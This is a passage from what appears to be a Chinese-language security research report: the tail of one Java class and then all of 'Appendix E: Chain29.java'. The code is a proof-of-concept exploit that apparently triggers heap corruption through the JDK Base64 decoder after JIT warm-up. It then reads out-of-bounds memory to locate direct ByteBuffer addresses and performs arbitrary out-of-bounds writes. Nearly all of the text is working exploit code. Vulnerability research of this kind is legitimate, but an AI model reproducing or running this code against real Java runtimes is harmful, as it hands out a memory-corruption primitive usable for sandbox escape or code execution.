&& r32(victim, o+12) - r32(victim, o+8) == 136) { elemOff = o; break; }
}
if (elemOff < 0) { addrOff = -1; continue; }
roundHit = round; break outer;
}
if (roundHit < 0) { fos.write(0x4E); fos.flush(); fos.close(); return; }
fos.write(2);
// identity 写自检(全内联,不经预热的独立方法)
long v64 = 0; for (int j = 7; j >= 0; j--) v64 = (v64 << 8) | (victim[64 + j] & 0xFF);
fos.write(0xA0);
victim[64]=(byte)v64; victim[65]=(byte)(v64>>>8); victim[66]=(byte)(v64>>>16); victim[67]=(byte)(v64>>>24);
victim[68]=(byte)(v64>>>32); victim[69]=(byte)(v64>>>40); victim[70]=(byte)(v64>>>48); victim[71]=(byte)(v64>>>56);
fos.write(0xA1);
long v128 = 0; for (int j = 7; j >= 0; j--) v128 = (v128 << 8) | (victim[128 + j] & 0xFF);
fos.write(0xB0);
victim[128]=(byte)v128; victim[129]=(byte)(v128>>>8); victim[130]=(byte)(v128>>>16); victim[131]=(byte)(v128>>>24);
victim[132]=(byte)(v128>>>32); victim[133]=(byte)(v128>>>40); victim[134]=(byte)(v128>>>48); victim[135]=(byte)(v128>>>56);
fos.write(0xB1);
long v1024 = 0; for (int j = 7; j >= 0; j--) v1024 = (v1024 << 8) | (victim[1024 + j] & 0xFF);
fos.write(0xC0);
victim[1024]=(byte)v1024; victim[1025]=(byte)(v1024>>>8); victim[1026]=(byte)(v1024>>>16); victim[1027]=(byte)(v1024>>>24);
victim[1028]=(byte)(v1024>>>32); victim[1029]=(byte)(v1024>>>40); victim[1030]=(byte)(v1024>>>48); victim[1031]=(byte)(v1024>>>56);
fos.write(0xC1);
victim[1088]=1; victim[1089]=0; victim[1090]=0; victim[1091]=0;
victim[1092]=0; victim[1093]=0; victim[1094]=0; victim[1095]=0;
fos.write(0xD0);
fos.flush(); fos.close();
}
static long rd64(byte[] v, int o) { long r = 0; for (int j = 7; j >= 0; j--) r = (r << 8) | (v[o + j] & 0xFF); return r; }
static boolean sane(long v) { return (v >>> 47) == 0 && (v >>> 32) >= 0x100 && (v & 0xF) == 0; }
static int r32(byte[] v, int o) { return (v[o]&0xFF) | ((v[o+1]&0xFF)<<8) | ((v[o+2]&0xFF)<<16) | ((v[o+3]&0xFF)<<24); }
}附录 E:Chain29.java(预热写方法正例——预热后写入成功)
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.nio.ByteBuffer;
import java.util.Base64;
/** 与 Chain28 唯一区别:main 开头预热 w8(20 万次),之后写 victim 走 C1 编译产物 */
public class Chain29 {
static byte[] hotDummy = new byte[4096];
static void w8(byte[] a, int o, long x) {
a[o]=(byte)x; a[o+1]=(byte)(x>>>8); a[o+2]=(byte)(x>>>16); a[o+3]=(byte)(x>>>24);
a[o+4]=(byte)(x>>>32); a[o+5]=(byte)(x>>>40); a[o+6]=(byte)(x>>>48); a[o+7]=(byte)(x>>>56);
}
public static void main(String[] args) throws Exception {
FileOutputStream fos = new FileOutputStream("/tmp/b64_stage.bin");
// 预热预热写方法(这是与 Chain28 的唯一区别)
for (int i = 0; i < 200_000; i++) w8(hotDummy, 64, i);
byte[] warmSrc = "Zz9+Zz9+".getBytes();
byte[] src = ("A".repeat(64) + "=").getBytes();
long[] magic = {0x4142434445460000L, 0x4142434445460001L, 0x4142434445460002L, 0x4142434445460003L};
int roundHit = -1;
byte[] victim = null;
ByteBuffer[] dbbs = null;
int addrOff = -1, elemOff = -1;
long a0 = 0, a1 = 0;
outer:
for (int round = 0; round < 40; round++) {
byte[] warmDst = new byte[72];
for (int i = 0; i < 60_000; i++) Base64.getDecoder().decode(warmSrc, warmDst);
byte[] dst = new byte[72];
victim = new byte[16];
dbbs = new ByteBuffer[4];
for (int i = 0; i < 4; i++) { dbbs[i] = ByteBuffer.allocateDirect(65536); dbbs[i].putLong(0, magic[i]); }
byte[] tail = "TAILMARKERTAILMARKER".getBytes();
try { Base64.getDecoder().decode(src, dst); } catch (IllegalArgumentException e) {}
if (victim.length <= 1000) continue;
fos.write(1);
for (int o = 16; o < 1200 && addrOff < 0; o += 4) {
long v = rd64(victim, o);
if (!sane(v)) continue;
if (rd64(victim, o + 64) != v) continue;
long v2 = rd64(victim, o + 136);
if (!sane(v2) || v2 <= v) continue;
if (rd64(victim, o + 136 + 64) != v2) continue;
addrOff = o; a0 = v; a1 = v2;
}
if (addrOff < 0) continue;
for (int o = 16; o < 3000; o += 4) {
int e0 = r32(victim, o);
if (e0 != 0 && r32(victim, o+4) - e0 == 136 && r32(victim, o+8) - r32(victim, o+4) == 136
&& r32(victim, o+12) - r32(victim, o+8) == 136) { elemOff = o; break; }
}
if (elemOff < 0) { addrOff = -1; continue; }
roundHit = round; break outer;
}
if (roundHit < 0) { fos.write(0x4E); fos.flush(); fos.close(); return; }
fos.write(2);
// 经预热的 C1 编译方法写
long v64 = 0; for (int j = 7; j >= 0; j--) v64 = (v64 << 8) | (victim[64 + j] & 0xFF);
w8(victim, 64, v64); // identity 写 @64 —— Chain28 在这里崩
fos.write(0xA1);
w8(victim, 1024, 0x2131415161718191L);
fos.write(0xA2);
long rb = 0; for (int j = 7; j >= 0; j--) rb = (rb << 8) | (victim[1024 + j] & 0xFF);
dump8(fos, rb);
fos.flush(); fos.close();
}
static long rd64(byte[] v, int o) { long r = 0; for (int j = 7; j >= 0; j--) r = (r << 8) | (v[o + j] & 0xFF); return r; }
static boolean sane(long v) { return (v >>> 47) == 0 && (v >>> 32) >= 0x100 && (v & 0xF) == 0; }
static int r32(byte[] v, int o) { return (v[o]&0xFF) | ((v[o+1]&0xFF)<<8) | ((v[o+2]&0xFF)<<16) | ((v[o+3]&0xFF)<<24); }
static void dump8(FileOutputStream f, long v) throws Exception {
byte[] b = new byte[8];
for (int i = 0; i < 8; i++) { b[i] = (byte) v; v >>>= 8; }
f.write(b);
}
}